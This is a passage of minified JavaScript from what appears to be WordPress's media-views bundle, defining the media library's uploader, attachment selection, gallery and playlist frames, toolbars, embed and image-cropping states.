this.initialized=!1,window.tinyMCEPreInit&&window.tinyMCEPreInit.dragDropUpload&&this.browserSupport()&&(this.$document=s(document),this.dropzones=[],this.files=[],this.$document.on("drop",".uploader-editor",_.bind(this.drop,this)),this.$document.on("dragover",".uploader-editor",_.bind(this.dropzoneDragover,this)),this.$document.on("dragleave",".uploader-editor",_.bind(this.dropzoneDragleave,this)),this.$document.on("click",".uploader-editor",_.bind(this.click,this)),this.$document.on("dragover",_.bind(this.containerDragover,this)),this.$document.on("dragleave",_.bind(this.containerDragleave,this)),this.$document.on("dragstart dragend drop",_.bind(function(e){this.localDrag="dragstart"===e.type,"drop"===e.type&&this.containerDragleave()},this)),this.initialized=!0),this},browserSupport:function(){var e=document.createElement("div");return("draggable"in e||"ondragstart"in e&&"ondrop"in e)&&!!(window.File&&window.FileList&&window.FileReader)},isDraggingFile:function(e){if(null===this.draggingFile){if(_.isUndefined(e.originalEvent)||_.isUndefined(e.originalEvent.dataTransfer))return!1;this.draggingFile=-1<_.indexOf(e.originalEvent.dataTransfer.types,"Files")&&-1===_.indexOf(e.originalEvent.dataTransfer.types,"text/plain")}return this.draggingFile},refresh:function(e){for(var t in this.dropzones)this.dropzones[t].toggle(this.overContainer||this.overDropzone);return _.isUndefined(e)||s(e.target).closest(".uploader-editor").toggleClass("droppable",this.overDropzone),this.overContainer||this.overDropzone||(this.draggingFile=null),this},render:function(){return this.initialized&&(t.prototype.render.apply(this,arguments),s(".wp-editor-wrap").each(_.bind(this.attach,this))),this},attach:function(e,t){var i=this.$el.clone();return this.dropzones.push(i),s(t).append(i),this},drop:function(e){if(this.containerDragleave(e),this.dropzoneDragleave(e),this.files=e.originalEvent.dataTransfer.files,!(this.files.length<1))return 0<(e=s(e.target).parents(".wp-editor-wrap")).length&&e[0].id&&(window.wpActiveEditor=e[0].id.slice(3,-5)),this.workflow?(this.workflow.state().reset(),this.addFiles.apply(this),this.workflow.open()):(this.workflow=wp.media.editor.open(window.wpActiveEditor,{frame:"post",state:"insert",title:i.addMedia,multiple:!0}),(e=this.workflow.uploader).uploader&&e.uploader.ready?this.addFiles.apply(this):this.workflow.on("uploader:ready",this.addFiles,this)),!1},addFiles:function(){return this.files.length&&(this.workflow.uploader.uploader.uploader.addFile(_.toArray(this.files)),this.files=[]),this},containerDragover:function(e){!this.localDrag&&this.isDraggingFile(e)&&(this.overContainer=!0,this.refresh())},containerDragleave:function(){this.overContainer=!1,_.delay(_.bind(this.refresh,this),50)},dropzoneDragover:function(e){if(!this.localDrag&&this.isDraggingFile(e))return this.overDropzone=!0,this.refresh(e),!1},dropzoneDragleave:function(e){this.overDropzone=!1,_.delay(_.bind(this.refresh,this,e),50)},click:function(e){this.containerDragleave(e),this.dropzoneDragleave(e),this.localDrag=!1}});e.exports=o},3962:e=>{var t=wp.media.view.Attachment.extend({className:"attachment selection",toggleSelection:function(){this.options.selection.single(this.model)}});e.exports=t},4075:e=>{var t=wp.media.View,o=jQuery,i=t.extend({tagName:"li",className:"attachment",template:wp.template("attachment"),attributes:function(){return{tabIndex:0,role:"checkbox","aria-label":this.model.get("title"),"aria-checked":!1,"data-id":this.model.get("id")}},events:{click:"toggleSelectionHandler","change [data-setting]":"updateSetting","change [data-setting] input":"updateSetting","change [data-setting] select":"updateSetting","change [data-setting] textarea":"updateSetting","click .attachment-close":"removeFromLibrary","click .check":"checkClickHandler",keydown:"toggleSelectionHandler"},buttons:{},initialize:function(){var e=this.options.selection;_.defaults(this.options,{rerenderOnModelChange:!0}).rerenderOnModelChange?this.listenTo(this.model,"change",this.render):this.listenTo(this.model,"change:percent",this.progress),this.listenTo(this.model,"change:title",this._syncTitle),this.listenTo(this.model,"change:caption",this._syncCaption),this.listenTo(this.model,"change:artist",this._syncArtist),this.listenTo(this.model,"change:album",this._syncAlbum),this.listenTo(this.model,"add",this.select),this.listenTo(this.model,"remove",this.deselect),e&&(e.on("reset",this.updateSelect,this),this.listenTo(this.model,"selection:single selection:unsingle",this.details),this.details(this.model,this.controller.state().get("selection"))),this.listenTo(this.controller.states,"attachment:compat:waiting attachment:compat:ready",this.updateSave)},dispose:function(){var e=this.options.selection;return this.updateAll(),e&&e.off(null,null,this),t.prototype.dispose.apply(this,arguments),this},render:function(){var e=_.defaults(this.model.toJSON(),{orientation:"landscape",uploading:!1,type:"",subtype:"",icon:"",filename:"",caption:"",title:"",dateFormatted:"",width:"",height:"",compat:!1,alt:"",description:""},this.options);return e.buttons=this.buttons,e.describe=this.controller.state().get("describe"),"image"===e.type&&(e.size=this.imageSize()),e.can={},e.nonces&&(e.can.remove=!!e.nonces.delete,e.can.save=!!e.nonces.update),this.controller.state().get("allowLocalEdits")&&!e.uploading&&(e.allowLocalEdits=!0),e.uploading&&!e.percent&&(e.percent=0),this.views.detach(),this.$el.html(this.template(e)),this.$el.toggleClass("uploading",e.uploading),e.uploading?this.$bar=this.$(".media-progress-bar div"):delete this.$bar,this.updateSelect(),this.updateSave(),this.views.render(),this},progress:function(){this.$bar&&this.$bar.length&&this.$bar.width(this.model.get("percent")+"%")},toggleSelectionHandler:function(e){var t;if("INPUT"!==e.target.nodeName&&"BUTTON"!==e.target.nodeName)if(37===e.keyCode||38===e.keyCode||39===e.keyCode||40===e.keyCode)this.controller.trigger("attachment:keydown:arrow",e);else if("keydown"!==e.type||13===e.keyCode||32===e.keyCode){if(e.preventDefault(),this.controller.isModeActive("grid")){if(this.controller.isModeActive("edit"))return void this.controller.trigger("edit:attachment",this.model,e.currentTarget);this.controller.isModeActive("select")&&(t="toggle")}e.shiftKey?t="between":(e.ctrlKey||e.metaKey)&&(t="toggle"),(!e.metaKey&&!e.ctrlKey||13!==e.keyCode&&10!==e.keyCode)&&(this.toggleSelection({method:t}),this.controller.trigger("selection:toggle"))}},toggleSelection:function(e){var t,i,s,o=this.collection,a=this.options.selection,n=this.model,e=e&&e.method;if(a){if(t=a.single(),"between"===(e=_.isUndefined(e)?a.multiple:e)&&t&&a.multiple)return t===n?void 0:(o=(i=o.indexOf(t))<(s=o.indexOf(this.model))?o.models.slice(i,s+1):o.models.slice(s,i+1),a.add(o),void a.single(n));"toggle"===e?(a[this.selected()?"remove":"add"](n),a.single(n)):"add"===e?(a.add(n),a.single(n)):("add"!==(e=e||"add")&&(e="reset"),this.selected()?a[t===n?"remove":"single"](n):(a[e](n),a.single(n)))}},updateSelect:function(){this[this.selected()?"select":"deselect"]()},selected:function(){var e=this.options.selection;if(e)return!!e.get(this.model.cid)},select:function(e,t){var i=this.options.selection,s=this.controller;!i||t&&t!==i||this.$el.hasClass("selected")||(this.$el.addClass("selected").attr("aria-checked",!0),s.isModeActive("grid")&&s.isModeActive("select"))||this.$(".check").attr("tabindex","0")},deselect:function(e,t){var i=this.options.selection;!i||t&&t!==i||this.$el.removeClass("selected").attr("aria-checked",!1).find(".check").attr("tabindex","-1")},details:function(e,t){var i=this.options.selection;i===t&&(t=i.single(),this.$el.toggleClass("details",t===this.model))},imageSize:function(e){var t=this.model.get("sizes"),i=!1;return e=e||"medium",t&&(t[e]?i=t[e]:t.large?i=t.large:t.thumbnail?i=t.thumbnail:t.full&&(i=t.full),i)?_.clone(i):{url:this.model.get("url"),width:this.model.get("width"),height:this.model.get("height"),orientation:this.model.get("orientation")}},updateSetting:function(e){var t=o(e.target).closest("[data-setting]");t.length&&(t=t.data("setting"),e=e.target.value,this.model.get(t)!==e)&&this.save(t,e)},save:function(){var e=this,t=this._save=this._save||{status:"ready"},i=this.model.save.apply(this.model,arguments),s=t.requests?o.when(i,t.requests):i;t.savedTimer&&clearTimeout(t.savedTimer),this.updateSave("waiting"),(t.requests=s).always(function(){t.requests===s&&(e.updateSave("resolved"===s.state()?"complete":"error"),t.savedTimer=setTimeout(function(){e.updateSave("ready"),delete t.savedTimer},2e3))})},updateSave:function(e){var t=this._save=this._save||{status:"ready"};return e&&e!==t.status&&(this.$el.removeClass("save-"+t.status),t.status=e),this.$el.addClass("save-"+t.status),this},updateAll:function(){var e=this.$("[data-setting]"),i=this.model,e=_.chain(e).map(function(e){var t=o("input, textarea, select, [value]",e);if(t.length)return e=o(e).data("setting"),t=t.val(),i.get(e)!==t?[e,t]:void 0}).compact().object().value();_.isEmpty(e)||i.save(e)},removeFromLibrary:function(e){"keydown"===e.type&&13!==e.keyCode&&32!==e.keyCode||(e.stopPropagation(),this.collection.remove(this.model))},checkClickHandler:function(e){var t=this.options.selection;t&&(e.stopPropagation(),t.where({id:this.model.get("id")}).length?(t.remove(this.model),this.$el.focus()):t.add(this.model),this.controller.trigger("selection:toggle"))}});_.each({caption:"_syncCaption",title:"_syncTitle",artist:"_syncArtist",album:"_syncAlbum"},function(e,s){i.prototype[e]=function(e,t){var i=this.$('[data-setting="'+s+'"]');return!i.length||t===i.find("input, textarea, select, [value]").val()?this:this.render()}}),e.exports=i},4181:e=>{e.exports={syncSelection:function(){var e=this.get("selection"),t=this.frame._selection;this.get("syncSelection")&&t&&e&&(e.multiple&&(e.reset([],{silent:!0}),e.validateAll(t.attachments),t.difference=_.difference(t.attachments.models,e.models)),e.single(t.single))},recordSelection:function(){var e=this.get("selection"),t=this.frame._selection;this.get("syncSelection")&&t&&e&&(e.multiple?(t.attachments.reset(e.toArray().concat(t.difference)),t.difference=[]):t.attachments.add(e.toArray()),t.single=e._single)}}},4274:e=>{var t=wp.media.view.MediaFrame.Select,i=wp.media.controller.Library,o=wp.media.view.l10n,s=t.extend({initialize:function(){this.counts={audio:{count:wp.media.view.settings.attachmentCounts.audio,state:"playlist"},video:{count:wp.media.view.settings.attachmentCounts.video,state:"video-playlist"}},_.defaults(this.options,{multiple:!0,editing:!1,state:"insert",metadata:{}}),t.prototype.initialize.apply(this,arguments),this.createIframeStates()},createStates:function(){var e=this.options;this.states.add([new i({id:"insert",title:o.insertMediaTitle,priority:20,toolbar:"main-insert",filterable:"all",library:wp.media.query(e.library),multiple:!!e.multiple&&"reset",editable:!0,allowLocalEdits:!0,displaySettings:!0,displayUserSettings:!0}),new i({id:"gallery",title:o.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!1,library:wp.media.query(_.defaults({type:"image"},e.library))}),new wp.media.controller.Embed({metadata:e.metadata}),new wp.media.controller.EditImage({model:e.editImage}),new wp.media.controller.GalleryEdit({library:e.selection,editing:e.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd,new i({id:"playlist",title:o.createPlaylistTitle,priority:60,toolbar:"main-playlist",filterable:"uploaded",multiple:"add",editable:!1,library:wp.media.query(_.defaults({type:"audio"},e.library))}),new wp.media.controller.CollectionEdit({type:"audio",collectionType:"playlist",title:o.editPlaylistTitle,SettingsView:wp.media.view.Settings.Playlist,library:e.selection,editing:e.editing,menu:"playlist",dragInfoText:o.playlistDragInfo,dragInfo:!1}),new wp.media.controller.CollectionAdd({type:"audio",collectionType:"playlist",title:o.addToPlaylistTitle}),new i({id:"video-playlist",title:o.createVideoPlaylistTitle,priority:60,toolbar:"main-video-playlist",filterable:"uploaded",multiple:"add",editable:!1,library:wp.media.query(_.defaults({type:"video"},e.library))}),new wp.media.controller.CollectionEdit({type:"video",collectionType:"playlist",title:o.editVideoPlaylistTitle,SettingsView:wp.media.view.Settings.Playlist,library:e.selection,editing:e.editing,menu:"video-playlist",dragInfoText:o.videoPlaylistDragInfo,dragInfo:!1}),new wp.media.controller.CollectionAdd({type:"video",collectionType:"playlist",title:o.addToVideoPlaylistTitle})]),wp.media.view.settings.post.featuredImageId&&this.states.add(new wp.media.controller.FeaturedImage)},bindHandlers:function(){t.prototype.bindHandlers.apply(this,arguments),this.on("activate",this.activate,this),void 0!==_.find(this.counts,function(e){return 0===e.count})&&this.listenTo(wp.media.model.Attachments.all,"change:type",this.mediaTypeCounts),this.on("menu:create:gallery",this.createMenu,this),this.on("menu:create:playlist",this.createMenu,this),this.on("menu:create:video-playlist",this.createMenu,this),this.on("toolbar:create:main-insert",this.createToolbar,this),this.on("toolbar:create:main-gallery",this.createToolbar,this),this.on("toolbar:create:main-playlist",this.createToolbar,this),this.on("toolbar:create:main-video-playlist",this.createToolbar,this),this.on("toolbar:create:featured-image",this.featuredImageToolbar,this),this.on("toolbar:create:main-embed",this.mainEmbedToolbar,this),_.each({menu:{default:"mainMenu",gallery:"galleryMenu",playlist:"playlistMenu","video-playlist":"videoPlaylistMenu"},content:{embed:"embedContent","edit-image":"editImageContent","edit-selection":"editSelectionContent"},toolbar:{"main-insert":"mainInsertToolbar","main-gallery":"mainGalleryToolbar","gallery-edit":"galleryEditToolbar","gallery-add":"galleryAddToolbar","main-playlist":"mainPlaylistToolbar","playlist-edit":"playlistEditToolbar","playlist-add":"playlistAddToolbar","main-video-playlist":"mainVideoPlaylistToolbar","video-playlist-edit":"videoPlaylistEditToolbar","video-playlist-add":"videoPlaylistAddToolbar"}},function(e,i){_.each(e,function(e,t){this.on(i+":render:"+t,this[e],this)},this)},this)},activate:function(){_.each(this.counts,function(e){e.count<1&&this.menuItemVisibility(e.state,"hide")},this)},mediaTypeCounts:function(e,t){void 0!==this.counts[t]&&this.counts[t].count<1&&(this.counts[t].count++,this.menuItemVisibility(this.counts[t].state,"show"))},mainMenu:function(e){e.set({"library-separator":new wp.media.View({className:"separator",priority:100,attributes:{role:"presentation"}})})},menuItemVisibility:function(e,t){var i=this.menu.get();"hide"===t?i.hide(e):"show"===t&&i.show(e)},galleryMenu:function(e){var t=this.lastState(),i=t&&t.id,s=this;e.set({cancel:{text:o.cancelGalleryTitle,priority:20,click:function(){i?s.setState(i):s.close(),this.controller.modal.focusManager.focus()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},playlistMenu:function(e){var t=this.lastState(),i=t&&t.id,s=this;e.set({cancel:{text:o.cancelPlaylistTitle,priority:20,click:function(){i?s.setState(i):s.close(),this.controller.modal.focusManager.focus()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},videoPlaylistMenu:function(e){var t=this.lastState(),i=t&&t.id,s=this;e.set({cancel:{text:o.cancelVideoPlaylistTitle,priority:20,click:function(){i?s.setState(i):s.close(),this.controller.modal.focusManager.focus()}},separateCancel:new wp.media.View({className:"separator",priority:40})})},embedContent:function(){var e=new wp.media.view.Embed({controller:this,model:this.state()}).render();this.content.set(e)},editSelectionContent:function(){var e=this.state(),t=e.get("selection"),t=new wp.media.view.AttachmentsBrowser({controller:this,collection:t,selection:t,model:e,sortable:!0,search:!1,date:!1,dragInfo:!0,AttachmentView:wp.media.view.Attachments.EditSelection}).render();t.toolbar.set("backToLibrary",{text:o.returnToLibrary,priority:-100,click:function(){this.controller.content.mode("browse"),this.controller.modal.focusManager.focus()}}),this.content.set(t),this.trigger("edit:selection",this)},editImageContent:function(){var e=this.state().get("image"),e=new wp.media.view.EditImage({model:e,controller:this}).render();this.content.set(e),e.loadEditor()},selectionStatusToolbar:function(e){var t=this.state().get("editable");e.set("selection",new wp.media.view.Selection({controller:this,collection:this.state().get("selection"),priority:-40,editable:t&&function(){this.controller.content.mode("edit-selection")}}).render())},mainInsertToolbar:function(e){var i=this;this.selectionStatusToolbar(e),e.set("insert",{style:"primary",priority:80,text:o.insertIntoPost,requires:{selection:!0},click:function(){var e=i.state(),t=e.get("selection");i.close(),e.trigger("insert",t).reset()}})},mainGalleryToolbar:function(e){var s=this;this.selectionStatusToolbar(e),e.set("gallery",{style:"primary",text:o.createNewGallery,priority:60,requires:{selection:!0},click:function(){var e=s.state().get("selection"),t=s.state("gallery-edit"),i=e.where({type:"image"});t.set("library",new wp.media.model.Selection(i,{props:e.props.toJSON(),multiple:!0})),this.controller.setState("gallery-edit"),this.controller.modal.focusManager.focus()}})},mainPlaylistToolbar:function(e){var s=this;this.selectionStatusToolbar(e),e.set("playlist",{style:"primary",text:o.createNewPlaylist,priority:100,requires:{selection:!0},click:function(){var e=s.state().get("selection"),t=s.state("playlist-edit"),i=e.where({type:"audio"});t.set("library",new wp.media.model.Selection(i,{props:e.props.toJSON(),multiple:!0})),this.controller.setState("playlist-edit"),this.controller.modal.focusManager.focus()}})},mainVideoPlaylistToolbar:function(e){var s=this;this.selectionStatusToolbar(e),e.set("video-playlist",{style:"primary",text:o.createNewVideoPlaylist,priority:100,requires:{selection:!0},click:function(){var e=s.state().get("selection"),t=s.state("video-playlist-edit"),i=e.where({type:"video"});t.set("library",new wp.media.model.Selection(i,{props:e.props.toJSON(),multiple:!0})),this.controller.setState("video-playlist-edit"),this.controller.modal.focusManager.focus()}})},featuredImageToolbar:function(e){this.createSelectToolbar(e,{text:o.setFeaturedImage,state:this.options.state})},mainEmbedToolbar:function(e){e.view=new wp.media.view.Toolbar.Embed({controller:this})},galleryEditToolbar:function(){var e=this.state().get("editing");this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:e?o.updateGallery:o.insertGallery,priority:80,requires:{library:!0,uploadingComplete:!0},click:function(){var e=this.controller,t=e.state();e.close(),t.trigger("update",t.get("library")),e.setState(e.options.state),e.reset()}}}}))},galleryAddToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:o.addToGallery,priority:80,requires:{selection:!0},click:function(){var e=this.controller,t=e.state();e.state("gallery-edit").get("library").add(t.get("selection").models),t.trigger("reset"),e.setState("gallery-edit"),this.controller.modal.focusManager.focus()}}}}))},playlistEditToolbar:function(){var e=this.state().get("editing");this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:e?o.updatePlaylist:o.insertPlaylist,priority:80,requires:{library:!0},click:function(){var e=this.controller,t=e.state();e.close(),t.trigger("update",t.get("library")),e.setState(e.options.state),e.reset()}}}}))},playlistAddToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:o.addToPlaylist,priority:80,requires:{selection:!0},click:function(){var e=this.controller,t=e.state();e.state("playlist-edit").get("library").add(t.get("selection").models),t.trigger("reset"),e.setState("playlist-edit"),this.controller.modal.focusManager.focus()}}}}))},videoPlaylistEditToolbar:function(){var e=this.state().get("editing");this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:e?o.updateVideoPlaylist:o.insertVideoPlaylist,priority:140,requires:{library:!0},click:function(){var e=this.controller,t=e.state(),i=t.get("library");i.type="video",e.close(),t.trigger("update",i),e.setState(e.options.state),e.reset()}}}}))},videoPlaylistAddToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{insert:{style:"primary",text:o.addToVideoPlaylist,priority:140,requires:{selection:!0},click:function(){var e=this.controller,t=e.state();e.state("video-playlist-edit").get("library").add(t.get("selection").models),t.trigger("reset"),e.setState("video-playlist-edit"),this.controller.modal.focusManager.focus()}}}}))}});e.exports=s},4338:e=>{var t=wp.media.View.extend({tagName:"label",className:"screen-reader-text",initialize:function(){this.value=this.options.value},render:function(){return this.$el.html(this.value),this}});e.exports=t},4593:e=>{var t=wp.media.view.Attachment.Selection.extend({buttons:{close:!0}});e.exports=t},4747:e=>{var t=wp.Backbone.View.extend({constructor:function(e){e&&e.controller&&(this.controller=e.controller),wp.Backbone.View.apply(this,arguments)},dispose:function(){return this.undelegateEvents(),this.model&&this.model.off&&this.model.off(null,null,this),this.collection&&this.collection.off&&this.collection.off(null,null,this),this.controller&&this.controller.off&&this.controller.off(null,null,this),this},remove:function(){return this.dispose(),wp.Backbone.View.prototype.remove.apply(this,arguments)}});e.exports=t},4783:e=>{var t=wp.media.view.Menu,i=t.extend({tagName:"div",className:"media-router",property:"contentMode",ItemView:wp.media.view.RouterItem,region:"router",attributes:{role:"tablist","aria-orientation":"horizontal"},initialize:function(){this.controller.on("content:render",this.update,this),t.prototype.initialize.apply(this,arguments)},update:function(){var e=this.controller.content.mode();e&&this.select(e)}});e.exports=i},4910:e=>{var t=wp.media.view.l10n,n=Backbone.$,t=wp.media.controller.State.extend({defaults:{id:"embed",title:t.insertFromUrlTitle,content:"embed",menu:"default",toolbar:"main-embed",priority:120,type:"link",url:"",metadata:{}},sensitivity:400,initialize:function(e){this.metadata=e.metadata,this.debouncedScan=_.debounce(_.bind(this.scan,this),this.sensitivity),this.props=new Backbone.Model(this.metadata||{url:""}),this.props.on("change:url",this.debouncedScan,this),this.props.on("change:url",this.refresh,this),this.on("scan",this.scanImage,this)},scan:function(){var e,t=this,i={type:"link",scanners:[]};this.props.get("url")&&this.trigger("scan",i),i.scanners.length?(e=i.scanners=n.when.apply(n,i.scanners)).always(function(){t.get("scanners")===e&&t.set("loading",!1)}):i.scanners=null,i.loading=!!i.scanners,this.set(i)},scanImage:function(e){var t=this.frame,i=this,s=this.props.get("url"),o=new Image,a=n.Deferred();e.scanners.push(a.promise()),o.onload=function(){a.resolve(),i===t.state()&&s===i.props.get("url")&&(i.set({type:"image"}),i.props.set({width:o.width,height:o.height}))},o.onerror=a.reject,o.src=s},refresh:function(){this.frame.toolbar.get().refresh()},reset:function(){this.props.clear().set({url:""}),this.active&&this.refresh()}});e.exports=t},5232:e=>{var t=wp.media.view.Attachment.extend({buttons:{close:!0}});e.exports=t},5275:e=>{var t=wp.media.View,i=t.extend({tagName:"div",className:"media-toolbar",initialize:function(){var e=this.controller.state(),t=this.selection=e.get("selection"),e=this.library=e.get("library");this._views={},this.primary=new wp.media.view.PriorityList,this.secondary=new wp.media.view.PriorityList,this.tertiary=new wp.media.view.PriorityList,this.primary.$el.addClass("media-toolbar-primary search-form"),this.secondary.$el.addClass("media-toolbar-secondary"),this.tertiary.$el.addClass("media-bg-overlay"),this.views.set([this.secondary,this.primary,this.tertiary]),this.options.items&&this.set(this.options.items,{silent:!0}),this.options.silent||this.render(),t&&t.on("add remove reset",this.refresh,this),e&&e.on("add remove reset",this.refresh,this)},dispose:function(){return this.selection&&this.selection.off(null,null,this),this.library&&this.library.off(null,null,this),t.prototype.dispose.apply(this,arguments)},ready:function(){this.refresh()},set:function(e,t,i){return i=i||{},_.isObject(e)?_.each(e,function(e,t){this.set(t,e,{silent:!0})},this):(t instanceof Backbone.View||(t.classes=["media-button-"+e].concat(t.classes||[]),t=new wp.media.view.Button(t).render()),t.controller=t.controller||this.controller,this._views[e]=t,this[t.options.priority<0?"secondary":"primary"].set(e,t,i)),i.silent||this.refresh(),this},get:function(e){return this._views[e]},unset:function(e,t){return delete this._views[e],this.primary.unset(e,t),this.secondary.unset(e,t),this.tertiary.unset(e,t),t&&t.silent||this.refresh(),this},refresh:function(){var e=this.controller.state(),o=e.get("library"),a=e.get("selection");_.each(this._views,function(e){var t,i,s;e.model&&e.options&&e.options.requires&&(t=e.options.requires,i=!1,s=o&&!_.isEmpty(o.findWhere({uploading:!0})),a&&a.models&&(i=_.some(a.models,function(e){return!0===e.get("uploading")})),t.uploadingComplete&&s&&(i=!0),(t.selection&&a&&!a.length||t.library&&o&&!o.length)&&(i=!0),e.model.set("disabled",i))})}});e.exports=i},5422:e=>{var a=wp.media.view.l10n,t=wp.media.controller.State.extend({defaults:{id:"cropper",title:a.cropImage,toolbar:"crop",content:"crop",router:!1,canSkipCrop:!1,doCropArgs:{}},activate:function(){this.frame.on("content:create:crop",this.createCropContent,this),this.frame.on("close",this.removeCropper,this),this.set("selection",new Backbone.Collection(this.frame._selection.single))},deactivate:function(){this.frame.toolbar.mode("browse")},createCropContent:function(){this.cropperView=new wp.media.view.Cropper({controller:this,attachment:this.get("selection").first()}),this.cropperView.on("image-loaded",this.createCropToolbar,this),this.frame.content.set(this.cropperView)},removeCropper:function(){this.imgSelect.cancelSelection(),this.imgSelect.setOptions({remove:!0}),this.imgSelect.update(),this.cropperView.remove()},createCropToolbar:function(){var i=this.get("suggestedCropSize"),s=this.get("hasRequiredAspectRatio"),o=this.get("canSkipCrop")||!1,e={controller:this.frame,items:{insert:{style:"primary",text:a.cropImage,priority:80,requires:{library:!1,selection:!1},click:function(){var t=this.controller,e=t.state().get("selection").first();e.set({cropDetails:t.state().imgSelect.getSelection()}),this.$el.text(a.cropping),this.$el.attr("disabled",!0),t.state().doCrop(e).done(function(e){t.trigger("cropped",e),t.close()}).fail(function(){t.trigger("content:error:crop")})}}}};(o||s)&&_.extend(e.items,{skip:{style:"secondary",text:a.skipCropping,priority:70,requires:{library:!1,selection:!1},click:function(){var t=this.controller,e=t.state().get("selection").first();t.state().cropperView.remove(),s&&!o?(e.set({cropDetails:i}),t.state().doCrop(e).done(function(e){t.trigger("cropped",e),t.close()}).fail(function(){t.trigger("content:error:crop")})):(t.trigger("skippedcrop",e),t.close())}}}),this.frame.toolbar.set(new wp.media.view.Toolbar(e))},doCrop:function(e){return wp.ajax.post("custom-header-crop",_.extend({},this.defaults.doCropArgs,{nonce:e.get("nonces").edit,id:e.get("id"),cropDetails:e.get("cropDetails")}))}});e.exports=t},5424:e=>{var t=wp.media.view.MediaFrame.Select,s=wp.media.view.l10n,i=t.extend({defaults:{id:"image",url:"",menu:"image-details",content:"image-details",toolbar:"image-details",type:"link",title:s.imageDetailsTitle,priority:120},initialize:function(e){this.image=new wp.media.model.PostImage(e.metadata),this.options.selection=new wp.media.model.Selection(this.image.attachment,{multiple:!1}),t.prototype.initialize.apply(this,arguments)},bindHandlers:function(){t.prototype.bindHandlers.apply(this,arguments),this.on("menu:create:image-details",this.createMenu,this),this.on("content:create:image-details",this.imageDetailsContent,this),this.on("content:render:edit-image",this.editImageContent,this),this.on("toolbar:render:image-details",this.renderImageDetailsToolbar,this),this.on("toolbar:render:replace",this.renderReplaceImageToolbar,this)},createStates:function(){this.states.add([new wp.media.controller.ImageDetails({image:this.image,editable:!1}),new wp.media.controller.ReplaceImage({id:"replace-image",library:wp.media.query({type:"image"}),image:this.image,multiple:!1,title:s.imageReplaceTitle,toolbar:"replace",priority:80,displaySettings:!0}),new wp.media.controller.EditImage({image:this.image,selection:this.options.selection})])},imageDetailsContent:function(e){e.view=new wp.media.view.ImageDetails({controller:this,model:this.state().image,attachment:this.state().image.attachment})},editImageContent:function(){var e=this.state().get("image");e&&(e=new wp.media.view.EditImage({model:e,controller:this}).render(),this.content.set(e),e.loadEditor())},renderImageDetailsToolbar:function(){this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{select:{style:"primary",text:s.update,priority:80,click:function(){var e=this.controller,t=e.state();e.close(),t.trigger("update",e.image.toJSON()),e.setState(e.options.state),e.reset()}}}}))},renderReplaceImageToolbar:function(){var e=this,t=e.lastState(),i=t&&t.id;this.toolbar.set(new wp.media.view.Toolbar({controller:this,items:{back:{text:s.back,priority:80,click:function(){i?e.setState(i):e.close()}},replace:{style:"primary",text:s.replace,priority:20,requires:{selection:!0},click:function(){var e=this.controller,t=e.state(),i=t.get("selection").single();e.close(),e.image.changeAttachment(i,t.display(i)),t.trigger("replace",e.image.toJSON()),e.setState(e.options.state),e.reset()}}}}))}});e.exports=i},5663:e=>{var s=wp.media.view.l10n,t=wp.media.controller.State.extend({defaults:{id:"edit-image",title:s.editImage,menu:!1,toolbar:"edit-image",content:"edit-image",url:""},activate:function(){this.frame.on("toolbar:render:edit-image",_.bind(this.toolbar,this))},deactivate:function(){this.frame.off("toolbar:render:edit-image")},toolbar:function(){var e=this.frame,t=e.lastState(),i=t&&t.id;e.toolbar.set(new wp.media.view.Toolbar({controller:e,items:{back:{style:"primary",text:s.back,priority:20,click:function(){i?e.setState(i):e.close()}}}}))}});e.exports=t},5694:e=>{var i=Backbone.Model.extend({constructor:function(){this.on("activate",this._preActivate,this),this.on("activate",this.activate,this),this.on("activate",this._postActivate,this),this.on("deactivate",this._deactivate,this),this.on("deactivate",this.deactivate,this),this.on("reset",this.reset,this),this.on("ready",this._ready,this),this.on("ready",this.ready,this),Backbone.Model.apply(this,arguments),this.on("change:menu",this._updateMenu,this)},ready:function(){},activate:function(){},deactivate:function(){},reset:function(){},_ready:function(){this._updateMenu()},_preActivate:function(){this.active=!0},_postActivate:function(){this.on("change:menu",this._menu,this),this.on("change:titleMode",this._title,this),this.on("change:content",this._content,this),this.on("change:toolbar",this._toolbar,this),this.frame.on("title:render:default",this._renderTitle,this),this._title(),this._menu(),this._toolbar(),this._content(),this._router()},_deactivate:function(){this.active=!1,this.frame.off("title:render:default",this._renderTitle,this),this.off("change:menu",this._menu,this),this.off("change:titleMode",this._title,this),this.off("change:content",this._content,this),this.off("change:toolbar",this._toolbar,this)},_title:function(){this.frame.title.render(this.get("titleMode")||"default")},_renderTitle:function(e){e.$el.text(this.get("title")||"")},_router:function(){var e=this.frame.router,t=this.get("router");this.frame.$el.toggleClass("hide-router",!t),t&&(this.frame.router.render(t),t=e.get())&&t.select&&t.select(this.frame.content.mode())},_menu:function(){var e,t=this.frame.menu,i=this.get("menu");this.frame.menu&&(e=(e=this.frame.menu.get("views"))?e.views.get().length:0,this.frame.$el.toggleClass("hide-menu",!i||e<2)),i&&(t.mode(i),e=t.get())&&e.select&&e.select(this.id)},_updateMenu:function(){var e=this.previous("menu"),t=this.get("menu");e&&this.frame.off("menu:render:"+e,this._renderMenu,this),t&&this.frame.on("menu:render:"+t,this._renderMenu,this)},_renderMenu:function(e){var t=this.get("menuItem"),i=this.get("title"),s=this.get("priority");!t&&i&&(t={text:i},s)&&(t.priority=s),t&&e.set(this.id,t)}});_.each(["toolbar","content"],function(t){i.prototype["_"+t]=function(){var e=this.get(t);e&&this.frame[t].render(e)}}),e.exports=i},5741:e=>{var t=wp.media.View.extend({className:"media-embed",initialize:function(){this.url=new wp.media.view.EmbedUrl({controller:this.controller,model:this.model.props}).render(),this.views.set([this.url]),this.refresh(),this.listenTo(this.model,"change:type",this.refresh),this.listenTo(this.model,"change:loading",this.loading)},settings:function(e){this._settings&&this._settings.remove(),this._settings=e,this.views.add(e)},refresh:function(){var 